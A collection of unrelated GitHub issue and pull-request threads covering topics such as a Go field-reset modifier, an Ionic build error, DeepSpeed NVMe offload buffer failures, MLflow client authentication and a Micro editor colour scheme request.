Add empty modifier

Adds ability to set a field to it's zero value.

Coverage: 95.884% (+0.04%) from 95.846% when pulling cba1fbd1101c442de94f143cc9099ed3d81b7e07 on jcconnell:add-empty into 9a50f08cad9037372bb68c33285e5ffeafb59cde on go-playground:master.

I see that there are now some conflicts to resolve, but any thoughts on this otherwise?

I’m curious tour use case for this because Go by default will already have the default value of the data type set by design eg. No such thing as uninitialized value if Go

Maybe I am going about this wrong but here's what I've done and why I think this will help. I need to store a struct with sensitive fields. First, I do field level encryption and store a byte representation of the struct. Then I do field level sanitization and store a string/JSONB version of the struct.
Process

Encrypt sensitive fields
Marshall and store the bytes
Sanitize the sensitive fields (fields are now encrypted)
Marshall and store the bytes

After encryption, sensitive fields will contain values like the following: \u0001\u0002\u0002\u0000x]\ufffd\ufffd\r\ufffd\u001fˊE\uff...
I hoped that mod:"default=example" would work, but the encrypted values remain in the field
type example struct {
    AccountNumber        string `mod:"default=redacted"`
}

Instead, I had to use the following
type example struct {
    AccountNumber        string `mod:"strip_alpha,strip_num,strip_alpha_unicode,strip_num_unicode"`
}

The goal with this PR was to have the ability to set the field to it's empty value.

Ag I see @jcconnell its to reset something that was already set, that makes more sense.
ya the reason default=redacted doesn’t work is because it will only set the value IF there isn’t one already aka will only set when is the default value currently.
Im willing to merge then nice! Pleas ebe patient been super busy lately.
also question: do you think it would be valuable to have another tag that like default=… but would set a value no matter what? Maybe called set lol

Ahhh, I see why default=redacted didn't work! I think I misunderstood the description then.  set seems like a reasonable addition to me.
So something like below?

set: set a field to a value regardless of state (struct is populated)
default: set a field to a value only if it hasn't been set (struct is empty)
empty: set a field to it's default value regardless of state (struct is populated)


recognize daily as episodes

Can you provide any test cases you tested this against?
Use regex101 and share the link with the regex and the test cases...example of this is below (please provide more than one case though :P)
https://regex101.com/r/cGNG0W/5

Here are a few examples of season, show and daily.
https://regex101.com/r/UVuw0g/2

have you tested this? it'll likely require additional modifications, because parts of the code rely on the season and episode capture groups existing.

have you tested this? it'll likely require additional modifications, because parts of the code rely on the season and episode capture groups existing.

I have not had time to look into the functionality beyond the regexs themselves, unfortunately. Just the positive lookahead being beneficial and the separators are the only thing I've investigated thus far.

@3744111 have you tested this?

I mainly made this change to filter out daily episodes, and that does indeed work.
Found the place you mentioned where the season/episode are used for searches and figured out how searches are done for daily episodes. Will make an update to the pr in the next couple days.

Tested in dev env, works as intended for both regular episodes and daily searches.
Expected matches were found.


Need Feature : Message State (Sending, Sent, Delivered and Read)

This is a nice library, But missing the message state feature. If you add the message states such as sending, sent, delivered and read it will be awesome.

Hello @Aseyth !
To add this feature you need to create (or inherit existing) view holder. Nevertheless, we already did something similar in sample. Check the sample and documentation to see how it's done.
Best regards, Alexander


Position of Marker relative to bottom center

The position of the marker is relative to the left top corner of the bounding rectangle. but expected behavior with the included icon would be bottom center.

I'll fix this in the docs and example.

Fixed now in the README and example. Thanks for bringing this to my attention!


downloading SVG or PNG is not showing colors for legend

There seems to be an issue when downloading the charts. Just yesterday it was working all well, I even tried different laptops, but same issue.
When I download any chart form the demos ( I have attached one in this issue), the Legends lose their color and position.

The bug is already fixed - https://github.com/apexcharts/apexcharts.js/commit/c52ccb50370ebf6c623893e06690cc9beeea78b8
Not released yet. It will be released tomorrow.

thank you @junedchhipa

hhh


Change "company name" in installation

IMHO we shouldn't use the term "Company name" here, as we don't primarily target companies.

Why not, small company is also company ;)

We can use organization install company since the customer maybe a person, a company or an organization and etc.

Why not, small company is also company ;)

@lafriks Sure, but we're talking about the site title here, not a field called "Company Name".
I for example don't have a company, but still use Gitea to host all my personal projects. I simply think the term "Company Name" is a bit misleading here.

we should probably write "You can enter your company name here." so that it doesn't sound like it always has to be a company name.

This sounds like a good idea to me.

Just created #3935 which updates text to suggested text


Nightly Build 1.3.12-201707060514 (webpack3) +angular2-moment shows errors in production builds

Note: for support questions, please use one of these channels:
https://forum.ionicframework.com/
http://ionicworldwide.herokuapp.com/
Short description of the problem:
Using nightly build 1.3.12-201707060514 (webpack3) +angular2-moment shows errors in production builds
What behavior are you expecting?
Production Build should
Steps to reproduce:

Create new Ionic Project from Blank Template
add angular2-moment (Link to Repo)
run npm uninstall @ionic/app-scripts
run npm install @ionic/app-scripts@nightly --save-dev
run npm run build --prod

Which @ionic/app-scripts version are you using?
1.3.12-201707060514
Other information: (e.g. stacktraces, related issues, suggestions how to fix, stackoverflow links, forum links, etc)
I made a Git Repo for the problem https://github.com/dmastag/ionic-moment--error
I am using the nightly build as per @danbucholtz suggestion on https://github.com/ionic-team/ionic-app-scripts/issues/971#issuecomment-313303419
But I am afraid that if this goes to production that a lot of people who are using angular2-moment will have a problem

Updated to Nightly 1.3.12-201707071538

Here is the latest Error Console
D:\GM Work Box\playground\ionic20170706-moment>npm run build --prod

<EMAIL_ADDRESS>build D:\GM Work Box\playground\ionic20170706-moment
ionic-app-scripts build

[00:29:27]  ionic-app-scripts 1.3.12-201707071538
[00:29:27]  build prod started ...
[00:29:27]  clean started ...
[00:29:27]  clean finished in 4 ms
[00:29:27]  copy started ...
[00:29:27]  ngc started ...
[00:29:32]  ngc finished in 4.96 s
[00:29:32]  preprocess started ...
[00:29:32]  deeplinks started ...
[00:29:32]  deeplinks finished in 35 ms
[00:29:32]  optimization started ...
[00:29:32]  copy finished in 5.21 s
[00:29:39]  optimization finished in 7.21 s
[00:29:39]  preprocess finished in 7.34 s
[00:29:39]  webpack started ...
[00:30:46]  webpack finished in 67.03 s
[00:30:46]  sass started ...
[00:30:46]  uglifyjs started ...
[00:30:46]  ionic-app-script task: "build"
[00:30:46]  Error: ENOENT: no such file or directory, scandir 'D:\GM Work
Box\playground\ionic20170706-moment\node_modules\moment\locale ^'
Error: ENOENT: no such file or directory, scandir 'D:\GM Work Box\playground\ionic20170706-moment\node_modules\moment\locale ^'
at Object.fs.readdirSync (fs.js:909:18)
at getSiblingSassFiles (D:\GM Work Box\playground\ionic20170706-moment\node_modules@ionic\app-scripts\dist\sass.js:155:23)
at addComponentSassFiles (D:\GM Work Box\playground\ionic20170706-moment\node_modules@ionic\app-scripts\dist\sass.js:132:24)
at D:\GM Work Box\playground\ionic20170706-moment\node_modules@ionic\app-scripts\dist\sass.js:127:9
at Array.forEach (native)
at getComponentSassFiles (D:\GM Work Box\playground\ionic20170706-moment\node_modules@ionic\app-scripts\dist\sass.js:126:26)
at generateSassData (D:\GM Work Box\playground\ionic20170706-moment\node_modules@ionic\app-scripts\dist\sass.js:111:30)
at D:\GM Work Box\playground\ionic20170706-moment\node_modules@ionic\app-scripts\dist\sass.js:71:13
at
npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR<EMAIL_ADDRESS>build: ionic-app-scripts build
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>build script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.
npm ERR!      C:\Users\julia\AppData\Roaming\npm-cache_logs\2017-07-07T17_30_46_682Z-debug.log

Tried it out on a Mac with the same result:
Julians-Mac-2:projects julianalimin$ git clone https://github.com/dmastag/ionic-moment--error
Cloning into 'ionic-moment--error'...
remote: Counting objects: 101, done.
remote: Compressing objects: 100% (83/83), done.
remote: Total 101 (delta 12), reused 101 (delta 12), pack-reused 0
Receiving objects: 100% (101/101), 1.63 MiB | 793.00 KiB/s, done.
Resolving deltas: 100% (12/12), done.
Julians-Mac-2:projects julianalimin$ cd ionic-moment--error/
Julians-Mac-2:ionic-moment--error julianalimin$ git status
On branch master
Your branch is up-to-date with 'origin/master'.
nothing to commit, working tree clean
Julians-Mac-2:ionic-moment--error julianalimin$ npm install
WARN registry Unexpected warning for https://registry.npmjs.org/: Miscellaneous Warning EINTEGRITY: sha1-Yi4y6CSItJJ5EUpPns9F581rulU= integrity checksum failed when using sha1: wanted sha1-Yi4y6CSItJJ5EUpPns9F581rulU= but got sha512-q4spe4KTfsAS1SUHLO0wz8Qiyf1+vMIAgpRYioFYDMNqKfHQbg+AVDH3i4fvpl71/P1L0dBl+fQi+P37UYf0ew==. (6052 bytes)
WARN registry Using stale package data from https://registry.npmjs.org/ due to a request error during revalidation.
WARN registry Unexpected warning for https://registry.npmjs.org/: Miscellaneous Warning EINTEGRITY: sha1-gxlF4pNltHCqhySwqzbI+JWdEPs= integrity checksum failed when using sha1: wanted sha1-gxlF4pNltHCqhySwqzbI+JWdEPs= but got sha512-mmLbumEYMi5nXReB9js3WGsB8UE6cDBWyIO62Z4DNx6GbRhDxHNjA1MlzSpJ2S2KM1wyiPRA0d19uHWYYvMHjA==. (1992 bytes)
WARN registry Using stale package data from https://registry.npmjs.org/ due to a request error during revalidation.

><EMAIL_ADDRESS>install /Users/julianalimin/projects/ionic-moment--error/node_modules/node-sass
> node scripts/install.js

Cached binary found at /Users/julianalimin/.npm/node-sass/4.5.3/darwin-x64-57_binding.node

><EMAIL_ADDRESS>postinstall /Users/julianalimin/projects/ionic-moment--error/node_modules/node-sass
> node scripts/build.js

Binary found at /Users/julianalimin/projects/ionic-moment--error/node_modules/node-sass/vendor/darwin-x64-57/binding.node
Testing binary
Binary is fine

><EMAIL_ADDRESS>postinstall /Users/julianalimin/projects/ionic-moment--error/node_modules/uglifyjs-webpack-plugin
> node lib/post_install.js

added 725 packages in 20.952s
Julians-Mac-2:ionic-moment--error julianalimin$ npm run build --prod

><EMAIL_ADDRESS>build /Users/julianalimin/projects/ionic-moment--error
> ionic-app-scripts build

[01:54:04]  ionic-app-scripts 1.3.12-201707071538
[01:54:04]  build prod started ...
[01:54:04]  clean started ...
[01:54:04]  clean finished in 1 ms
[01:54:04]  copy started ...
[01:54:04]  ngc started ...
[01:54:10]  ngc finished in 5.27 s
[01:54:10]  preprocess started ...
[01:54:10]  deeplinks started ...
[01:54:10]  deeplinks finished in 26 ms
[01:54:10]  optimization started ...
[01:54:10]  copy finished in 5.57 s
[01:54:18]  optimization finished in 8.49 s
[01:54:18]  preprocess finished in 8.67 s
[01:54:18]  webpack started ...
[01:55:39]  webpack finished in 81.21 s
[01:55:39]  sass started ...
[01:55:39]  uglifyjs started ...
[01:55:39]  ionic-app-script task: "build"
[01:55:39]  Error: ENOENT: no such file or directory, scandir
            '/Users/julianalimin/projects/ionic-moment--error/node_modules/moment/locale /^\.\'
Error: ENOENT: no such file or directory, scandir '/Users/julianalimin/projects/ionic-moment--error/node_modules/moment/locale /^\.\'
    at Object.fs.readdirSync (fs.js:909:18)
    at getSiblingSassFiles (/Users/julianalimin/projects/ionic-moment--error/node_modules/@ionic/app-scripts/dist/sass.js:155:23)
    at addComponentSassFiles (/Users/julianalimin/projects/ionic-moment--error/node_modules/@ionic/app-scripts/dist/sass.js:132:24)
    at /Users/julianalimin/projects/ionic-moment--error/node_modules/@ionic/app-scripts/dist/sass.js:127:9
    at Array.forEach (native)
    at getComponentSassFiles (/Users/julianalimin/projects/ionic-moment--error/node_modules/@ionic/app-scripts/dist/sass.js:126:26)
    at generateSassData (/Users/julianalimin/projects/ionic-moment--error/node_modules/@ionic/app-scripts/dist/sass.js:111:30)
    at /Users/julianalimin/projects/ionic-moment--error/node_modules/@ionic/app-scripts/dist/sass.js:71:13
    at <anonymous>
npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR<EMAIL_ADDRESS>build: `ionic-app-scripts build`
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>build script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.

npm ERR!      /Users/julianalimin/.npm/_logs/2017-07-07T18_55_40_085Z-debug.log
Julians-Mac-2:ionic-moment--error julianalimin$ (node:876) UnhandledPromiseRejectionWarning: Unhandled promise rejection (rejection id: 1): Error [ERR_IPC_CHANNEL_CLOSED]: channel closed
(node:876) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.

Opened an issue at angular2-moment and they suggest that this has something to do with ionic/app-scripts.
https://github.com/urish/angular2-moment/issues/152#issuecomment-313711031

Can you try the latest nightly? I think this is fixed.
Thanks,
Dan

Just tried it out and its working.
Updating the repo and am closing this now.

looks good to me as well.


Package request: xremap

Project description
xremap is a key remapper for Linux. Unlike xmodmap, it supports app-specific remapping and Wayland. It is written in Rust, and has a feature set similar to keyd.
Metadata

homepage URL: https://github.com/xremap/xremap
source URL: https://github.com/xremap/xremap
license: mit
platforms: linux

Side notes
There is already a piece of the project ported to NixOS (gnomeExtensions.xremap). The main project has yet to be ported to mainline NixOS.

Add a :+1: reaction to issues you find important.

Oops. Dupe of #234076. Closiing.


network separation and integrated

Change-Id: I464c8384147b69403bb06cb0897610215f14eb9c
network separation and integrated
@PengJiyuan

dashboard:
Delete ‘create network’： the network type


[BUG] (NVMe Offload with Zero3) Not enough buffers 0 for swapping 1

Hi,
I am currently trying off-the-shelf tranformer example with deepspeed:
BS=4; PYTHONPATH=src USE_TF=0 deepspeed examples/pytorch/translation/run_translation.py \
--model_name_or_path t5-11b --output_dir /tmp/zero3 --overwrite_output_dir --max_train_samples 64 \
--max_eval_samples 64 --max_source_length 128 --max_target_length 128 --val_max_target_length 128 \
--do_train --num_train_epochs 8 --per_device_train_batch_size $BS --per_device_eval_batch_size $BS \
--learning_rate 3e-3 --warmup_steps 500 --predict_with_generate --logging_steps 10 --save_steps 0 \
--eval_steps 5 --group_by_length   --dataset_name wmt16 --dataset_config ro-en --source_lang en \
--target_lang ro --source_prefix "translate English to Romanian: " \
--deepspeed tests/deepspeed/ds_config_zero3_nvme_offload.json

The config file ds_config_zero3_nvme_offload.json has zero3 params from the main documentation (https://huggingface.co/docs/transformers/main_classes/deepspeed#zero3-example) website like this:
{
    "zero_optimization": {
        "stage": 3,
        "offload_optimizer": {
            "device": "nvme",
            "nvme_path": "/local_nvme",
            "pin_memory": true,
            "buffer_count": 4,
            "fast_init": false
        },
        "offload_param": {
            "device": "nvme",
            "nvme_path": "/local_nvme",
            "pin_memory": true,
            "buffer_count": 5,
            "buffer_size": 1e8,
            "max_in_cpu": 1e9
        },
        "overlap_comm": true,
        "contiguous_gradients": true,
        "sub_group_size": 1e9,
        "reduce_bucket_size": "auto",
        "stage3_prefetch_bucket_size": "auto",
        "stage3_param_persistence_threshold": "auto",
        "stage3_max_live_parameters": 1e9,
        "stage3_max_reuse_distance": 1e9,
        "stage3_gather_16bit_weights_on_model_save": true
    },
    "aio": {
            "block_size": 262144,
            "queue_depth": 32,
            "thread_count": 1,
            "single_submit": false,
            "overlap_events": true
        },
}

I get the following error:
AssertionError: Not enough buffers 0 for swapping 1
    self._ensure_availability_of_partitioned_params(params)
  File "/home/xxx/anaconda3/envs/profiler/lib/python3.8/site-packages/deepspeed/runtime/zero/partition_parameters.py", line 999, in _ensure_availability_of_partitioned_params
    swap_in_list[0].nvme_swapper.swap_in(swap_in_list, async_op=False)
  File "/home/xxx/anaconda3/envs/profiler/lib/python3.8/site-packages/deepspeed/runtime/swap_tensor/partitioned_param_swapper.py", line 308, in swap_in
    assert len(swap_in_paths) <= len(self.available_buffer_ids), f"Not enough buffers {len(self.available_buffer_ids)} for swapping {len(swap_in_paths)}"
AssertionError: Not enough buffers 0 for swapping 1

I don't get this error if the offload_param device is set to cpu instead of nvme. I am curious why this is happening and how to fix this. Also, this happens regardless I add aio params or remove all of them. Please let me know.
Thank you!

Hi @HeyangQin and @tjruwase ,
Could you help me resolve this issue?

@srikanthmalla, did either of these changes help?

Hi @tjruwase, both didn't help.

Thanks for the update. I was able to reproduce the problem. My initial look suggests that this is due to the optimization of prefetching and caching layer parameters to reduce offload overheads.  The following error message shows that the buffer_count:5 setting of offload_param is eventually exceeded:

I was able to work around this issue by disabling caching (i.e., "stage3_max_reuse_distance": 0). But since that did not work for you, I am concerned perhaps I have reproduced a different problem. Can you please try the following to help this investigation?

Share how many GPUs you are using? I reproduced on 4xV100-16GB.
Use this branch: https://github.com/microsoft/DeepSpeed/tree/olruwase/issue_3062. Please note that this branch includes offload debug prints that will increase log size.
Run your original failing configuration and share the log.
Run with disabled caching ("stage3_max_reuse_distance": 0) and disabled prefetching ("stage3_prefetch_bucket_size": 0) to see if that combination avoids the error.

@srikanthmalla, just to clarify, we recognize that there is an underlying issue that needs to be fixed. My requests above are just to help further understand this issue. Thanks!

Has this issue been resolved? I am running into the same problem when using facebook/opt- 6.7 or 13b. It works fine once I hit 30b and above. I am on a system with 1x3090. I did try all the suggested options above but to no avail. This is just an exercise in understanding the behavior of DeepSpeed at these model sizes.

Hi, I'm getting same issue when using deepspeed 0.10.0 with huggingface transformers.
727AssertionError: Not enough buffers 0 for swapping 1726    assert len(swap_in_paths) <= len(725  File "/usr/local/lib/python3.9/dist-packages/deepspeed/runtime/swap_tensor/partitioned_param_swapper.py", line 297, in swap_in

Deepspeed config:
    zero_optimization:
      stage: 3
      offload_optimizer:
        device: nvme
        nvme_path: /tmp/nvme_offoad
      offload_param:
        device: nvme
        nvme_path: /tmp/nvme_offoad

does this issue resolved?

@tjruwase I set "stage3_max_reuse_distance": 0, but assert len(swap_in_paths) <= len(self.available_buffer_ids) the same. one machine 8 nvidia 4090, deepspeed zero3. so I wonder this issue has resolved?


In Genre (Annals) filter choices, why is "Classical Legend" appearing twice?

Even after I deleted all instances of this term in the filter field in the db, it still appeared in the filter choices dropdown. So I think Build is not properly working on this filter.


sumit added five new cheatsheets

Thank you for you r contribution @sumitbaroniya
Really means a lot
Happy Hacktoberfest!!
<3


Add support for markdown tables

Doxygen supports markdown style tables, but docca is not transforming them into HTML tables.
For example, updating https://github.com/ripple/rippled/blob/develop/src/ripple/test/BasicNetwork.h#L85-L94 to the markdown style renders as

but native doxygen renders as

Oh that looks lovely


minor lucene analyzer, builder changes for readability

Mainly changes to analyzer, builder et al. for readability and some tests added.

@dritter-sap looks great!
Thanks


STL to Depth Map

can you integrate an STL Tool to Depth Map

https://www.youtube.com/watch?v=U0VlUeljRMI
There's a lot to that. I'm not sure there's any good stl file elements that would make much sense in python. And while the files might not be complex the conversion between the 3d and 2d stuff into a depth map very well might be really kinda hard.
While clearly cutting a depth map into different thresholded images and rastering them such that you can get the depth even with a M2 Nano is entirely within the sphere of MeerK40t I'm not sure there's easy ways to make this easy in MeerK40t even if the major parts of the code were done in a plugin.


Fix unit tests on windows running autocrlf=true

- What I did
With Silvin; Change text files to eol=lf for .dockerapp .golden .yaml .yml to fix unit tests on windows with gitsettings autocrlf=true
This ensures these file types will be checked out with lf end of line chars instead of the global CRLF setting from gitsettings.
- A picture of a cute animal (not mandatory but encouraged)

I'll take a look, I think this just requires updating more dependencies as gotest.tools has been updated to better ignore line endings.


Possible discrepancy in group reports

Hi,
I'm looking over my group report after running version 0.15.0, and there seems to be some differences between the html file and the .tsv file.

In the html, the highest FD (mm) mean value is listed at approximately 0.12mm, while in the the tsv there are a few runs where the mean FD goes up to 0.22mm. These discrepancies also seem to appear in fd_num and fd_perc. I've made sure that all my data went through the individual MRIQC level before the group level, so I'm unsure if the values in the tsv don't perfectly correspond to what's in the html, or if it's something else.
Dan

I forget how the range is determined, but if you were to hover your cursor over the values sitting at the highest point they should display the correct value even though the range in the graph does not cover those values. I did a quick search through the issues to see if this was already covered, but I could not find another issue referencing this.

Thanks @jdkent, you're right, they get lumped in the with the other values at the high end.


Adding tests and doc to ReadsSource

I've added some doc and tests for what we can test in ReadSource.
@droazen Please review

Coverage remained the same at 71.58% when pulling ff81289c5afad74fa9262b6dfe08ba9b7372a4a7 on lb_update_ReadSource_for_public_consumption into eb7dd0e85baf3fd3d759d69f5e0cb55108850fa2 on master.

Coverage remained the same at 71.58% when pulling ff81289c5afad74fa9262b6dfe08ba9b7372a4a7 on lb_update_ReadSource_for_public_consumption into eb7dd0e85baf3fd3d759d69f5e0cb55108850fa2 on master.

Coverage remained the same at 71.58% when pulling ff81289c5afad74fa9262b6dfe08ba9b7372a4a7 on lb_update_ReadSource_for_public_consumption into eb7dd0e85baf3fd3d759d69f5e0cb55108850fa2 on master.


Make from_slice_delim (expression parser) non-recursive

Sorry if it's a dumb question, as far as I understand there is a recursion depth limit on from_slice_delim to avoid running out of stack space (based on https://github.com/sipa/miniscript/pull/5) when parsing an expression with round brackets. However, the parse function from sipa/miniscript is not recursive anymore (https://github.com/sipa/miniscript/pull/68). Worths make it non-recursive here as well? I noticed that some miniscripts that can be parsed on Core fails here because of this limit.
// https://github.com/sipa/miniscript/pull/5 for discussion on this number
const MAX_RECURSION_DEPTH: u32 = 402;

impl<'a> Tree<'a> {
    /// Parse an expression with round brackets
    pub fn from_slice(sl: &'a str) -> Result<(Tree<'a>, &'a str), Error> {
        // Parsing TapTree or just miniscript
        Self::from_slice_delim(sl, 0u32, '(')
    }

    pub(crate) fn from_slice_delim(
        mut sl: &'a str,
        depth: u32,
        delim: char,
    ) -> Result<(Tree<'a>, &'a str), Error> {
        if depth >= MAX_RECURSION_DEPTH {
            return Err(Error::MaxRecursiveDepthExceeded);
        }

@brunoerg yes, we would like to eliminate all the recursion from the library. This has been an ongoing project. See pulls #567 #601 #606 #614 and also the issue #484.
I have a branch which tries to eliminate recursion from from_string_delim but I haven't touched it in a little while. The issue is that our parsing logic currently has a ton of stringly-typed errors, so I got sidetracked trying to fix that, and then further sidetracked trying to remove the generics from the error types to help with #585, and then I got completely gummed up because we have these associated error types like <MiniscriptKey::Hash160 as core::FromStr>::Err which are gated on std::error::Error but only when std is enabled, and good luck defining a boxed type that can handle that while keeping the std feature additive.
In principle somebody could fix from_slice_delim to be non-recursive while preserving the existing hideous stringly-typed error situation. But that person would need to have a stronger stomach than me :).


Table transformer

What does this PR do?
Add support for the table transformer in the optimizer class: https://github.com/huggingface/optimum/issues/1761
The table transformer does not support ORTModelForImageClassification and there's no ORTModelForObjectDetection, so I just used ORTModelForCustomTasks.
Maybe a good follow-up task would be to add ORTModelForObjectDetection and possibly also ORTModelForImageFeatureExtraction (as ORTModelForFeatureExtraction only supports text models)
I ran this on microsoft/table-transformer-detection and confirmed it optimizes the model:
Onnx model graph: 2247
Opt model graph: 1136
I see a very small speedup in inference time.
Onnx Model Time: 65.42 reps per second
Optimized Onnx Model Time: 67.34 reps per second
The optimized model binary is slightly smaller than the original model. (115.0mb vs 115.1mb)

Fixes # (issue)
Before submitting

[ ] This PR fixes a typo or improves the docs (you can dismiss the other checks if that's the case).
[ ] Did you make sure to update the documentation with your changes?
[ ] Did you write any new necessary tests?

Who can review?

@mht-sharma — if you have a minute to review my PR, I would appreciate it!


fill in missing emissions for 2019-2022 in area chart

There's a gap between 2018 and 2022 in our area chart:

Option 1: find state totals for the missing years and fill them i9n
Option 2: show greyed out estimate section for the missing years

I understand there will always be a lag between the current year and the latest year available data.  There are basically two ways to solve this problem when filling in the missing years.

Take the last year for which we have data and then keep it constant until the current year at which point we will show a reduction in emissions.  This will result in a couple of years with a straight line for emissions which we can indicate as estimated/unknown.  The color for this area would differ from the other areas.
Instead of starting the reduction at the current year, we can assume the reductions started the year after the last data point.  In this case, the graph would appear the same as it does today, except the missing years would be shown.  However, those years would be considered "projected" rather than any estimate.

Which approach do we want to take with the "missing" years?


Integrate with  DagsHub's MLflow API

According with this part
dagshub mlflow integrations
how to fill params of headers
mlf = MLFlow("https://dagshub.com/math4mad/mlj-test.mlflow";headers=Dict("MLFLOW_TRACKING_USERNAME"=>"******","MLFLOW_TRACKING_PASSWORD"=>"********" ))

# Initiate new experiment
experiment_id = createexperiment(mlf; name="price-paths")

# Create a run in the new experiment
exprun = createrun(mlf, experiment_id)

follow Set-up your credentials setting name and  token , now it not working

Hello @math4mad.
That's not the way to authenticate into an mlflow instance. To achieve this, we need to have our base64-encoded credentials and pass it through the authorization header.
# <your_username> and <your_password> are base64-encoded
MLFlow(<your_base_uri>; headers=Dict("Authorization" => "Basic $<your_username>:$<your_password>"))

This is an ugly way to send authorizations. I'm going to make it pretty.

However,  you can't use this package because it is supporting the modern /api endpoint instead of /ajax-api (the one Dagshub is using). I just reviewed that the last mentioned is used in almost every scenario, so I will make adapt that to ensure the compatibility.

This last change is using the generic /ajax-api prefix on each endpoint to allow compatibility with different platforms.
Notes:

Original MLFlow instances use base64 to encode authorization headers (based on the Basic Authorization defined here)
During my testing, Dagshub is allowing both raw and base64-encoded username and password.

I'm thinking about improving the way we are defining credentials:

username and password can be passed in a NamedTuple directly by an auth parameter in MLFlow type constructor.  The same case if we are using a token (it becomes a Bearer Auth). In the headers function, we are going to do checks and logic to add that info to the request.

## Old way
using Base64
using MLFlowClient

credentials = base64encode("missy:gala")
MLFlow("http://localhost:5000"; headers=Dict("Authorization"=>"Basic $credentials"))

## New way
using MLFlowClient

MLFlow("http://localhost:5000"; auth=("username"=>"missy", "password"=>"gala"))

@ablaom @deyandyankov

Thanks @pebeto for taking the lead here.
Your suggestion sounds reasonable to me, but would be good to get @deyandyankov's view. Are you adding auth  as a new keyword but keeping headers for passing other stuff?  Or removing headers altogether?
Instead of auth, I suggest authorisation - abbreviations are hindrance to non-English speakers and sometimes difficult to remember

@deyandyankov Can you please comment on @pebeto's proposal?

I think having both authorisation and headers makes sense. Probably need to consider the case when both authorisation and headers=Dict("Authorization"=>"Basic $credentials")) have been supplied, but that would be a user error anyway.

@pebeto
at now  still can't  work with  remote url of dagshub. could give me a  hint?
using python  api it is ok


Add IndexCreated event when a new index is created

This adds the possibility to update a index when it is created.
It is helpful e.g. when you have a model with fields that are essential for an output to work but not all fields should be searchable.
Searchable Fields
A listener could then check the passed model or index name and if there exists another method on the model with the information about e.g. displayFields, then the index can be updated accordingly
E.g.:
class Model
{
    public function toSearchableArray()
    {
        return [
            'id' => $this->id,
            'uuid' => $this->uuid,
            'name' => $this->name,
            'summary' => $this->summary,
            'created_at' => $this->created_at,
            'updated_at' => $this->updated_at,
        ];
    }
}

Hello @mmachatschek
As I'm not a big user of meilisearch, I'm not able to see if this really useful even if I understand the interest of having such a thing.
But I think index configuration should be handle by an UI like Algolia does
I don't know @curquiza what does other libraries like the symfony one
My first goal with this package was to extend laravel scout possibilities to meilisearch and not allow more than what scout does
But since this package exists I have seen many people wanted this package to do more than its purpose.

Hello @mmachatschek
As I'm not a big user of meilisearch, I'm not able to see if this really useful even if I understand the interest of having such a thing.
But I think index configuration should be handle by an UI like Algolia does
I don't know @curquiza what does other libraries like the symfony one
My first goal with this package was to extend laravel scout possibilities to meilisearch and not allow more than what scout does
But since this package exists I have seen many people wanted this package to do more than its purpose.

Hello @mmachatschek!
Thanks for your involvement in this repo, this is really appreciable! 😄

My first goal with this package was to extend laravel scout possibilities to meilisearch and not allow more than what scout does

I agree with @shokme, this is not really the purpose of the laravel-scout plugin to add this kind of feature.
@shokme made a Wiki that helps users like you who want to update the index settings:

https://github.com/meilisearch/meilisearch-laravel-scout/wiki/Indexes-settings-using-config-file
https://github.com/meilisearch/meilisearch-laravel-scout/wiki/Indexes-settings-using-model

Thanks for this suggestion anyway :)

@curquiza thanks for the comment on this one. I didn't see that the wiki has entries about this. Maybe there should be a bigger section about this in the readme. But anyway. I'll probably copy the suggestion of @shokme
Thanks :rocket:

Yes you're right I'm going to update the README, and highlight it 😄


Feature 139 main update templates

Pull Request Testing

[x] Describe testing already performed for these changes:
Reviewed the changes.  These changes are based off of the work from this MET issue to improve the issue and pull request templates.

[x] Recommend testing for the reviewer(s) to perform, including the location of input datasets, and any additional instructions:
Review the changes.

[x] Do these changes include sufficient documentation updates, ensuring that no errors or warnings exist in the build of the documentation? [Yes] a

[x] Do these changes include sufficient testing updates? [None needed]

[x] Will this PR result in changes to the test suite? [No]
If yes, describe the new output and/or changes to the existing output:

[x] Do these changes introduce new SonarQube findings? [No]
If yes, please describe:

[x] Please complete this pull request review by [20240521].

Pull Request Checklist
See the METplus Workflow for details.

[x] Add any new Python packages to the METplus Components Python Requirements table.
[x] Review the source issue metadata (required labels, projects, and milestone).
[x] Complete the PR definition above.
[x] Ensure the PR title matches the feature or bugfix branch name.
[x] Define the PR metadata, as permissions allow.
Select: Reviewer(s)
Select: Organization level software support Project or Repository level development cycle Project
Select: Milestone as the version that will include these changes
[x] After submitting the PR, select the :gear: icon in the Development section of the right hand sidebar. Search for the issue that this PR will close and select it, if it is not already selected.
[ ] After the PR is approved, merge your changes. If permissions do not allow this, request that the reviewer do the merge.
[ ] Close the linked issue and delete your feature or bugfix branch from GitHub.

Closing and not merging. It will propagate to main the next time a release is cut.


Feature Request: Nano Theme Colors

I've used Nano for over a decade. Can I use Vim? Yes. But most of the stock Vim themes look quite.. not good. Besides ease of use, something that has always made Nano great for me is beautiful High Contrast Themes by-Default.
I noticed issue #3028 requesting a better/different theme for some file type. And it occurred to me, it would be really nice to have a theme set that cloned Nano. Yes, Micro has some good colorschemes (I use cmc-16). But if Micro had a Nano colorscheme, then that would be very enticing to current Nano users. Vim has no Nano-like theme.
Nano users could more comfortably migrate to Micro, and they could later change to another colorscheme if they wanted. Including a Nano colorscheme would add a great High Contrast theme that many people already know and like.
With a Nano colorscheme, the barrier to use Micro just got a little smaller.

The "problem" is, that the syntax highlighting approach between micro and nano differs. micro defines color schemes used by every syntax definition while nano defines the colors within the syntax definition. This results in the scenario in which every comment used by micro's syntax definitions has the same color over all different file types, while in nano the comment looks different in different files types (see C and shell files for example).
We could add one specific color scheme trying to adapt and generalize the syntax definitions used by nano, but we wouldn't be able to imitate nano by 100% for every file type due to the different approaches.
At the end, does this color scheme then differ much from cmc-16? I at least confirm, that comments are right now quite unreadable with cmc-16...at least in my setup.

@Sepero:
If you still want to have such a color scheme besides the already existing cmc-16.micro, then please help and take it as a blue print, place it under ~/.config/micro/colorschemes/, rename it to nano.micro, adapt it according your expectation (use nano's definitions from e.g. c.nanorc, sh.nanorc & python.nanorc), activate it within micro and test it.
When you think you're ready with it you can suggest it with a own PR. :)

